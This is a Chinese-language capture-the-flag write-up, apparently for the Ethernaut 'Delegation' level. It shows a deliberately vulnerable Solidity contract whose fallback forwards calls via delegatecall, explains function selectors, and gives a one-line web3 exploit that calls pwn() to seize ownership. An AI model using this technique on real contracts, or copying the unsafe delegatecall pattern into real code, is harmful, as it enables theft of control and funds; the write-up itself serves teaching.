题目描述

image.png

解题过程

题目源码

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.6.0;
  3. contract Delegate {
  4. address public owner;
  5. constructor(address _owner) public {
  6. owner = _owner;
  7. }
  8. function pwn() public {
  9. owner = msg.sender;
  10. }
  11. }
  12. contract Delegation {
  13. address public owner;
  14. Delegate delegate;
  15. constructor(address _delegateAddress) public {
  16. delegate = Delegate(_delegateAddress);
  17. owner = msg.sender;
  18. }
  19. fallback() external {
  20. (bool result,) = address(delegate).delegatecall(msg.data);
  21. if (result) {
  22. this;
  23. }
  24. }
  25. }

首先先理解 call函数 与 delegatecall函数 的区别

  1. call函数 外部调用时,上下文是外部合约
  2. delegatecall函数 外部调用时,上下文是调用合约

image.png
可以简单理解为 合约A通过 Delegatecall 调用合约B的方法时,相当于将该方法复制到 合约A 运行
image.png

  1. data 4 byte 是被调用方法的签名哈希,bytes4(keccak256("func"))
  2. 实际是向合约账户地址发送了 msg.data[0:4] == 函数签名哈希 的一笔交易

所以我们只需要像合约发送data, 来调用 pwn() 方法

  1. await contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0,10)});

image.png
根据交易hash 也可以看到调用方法细节
image.png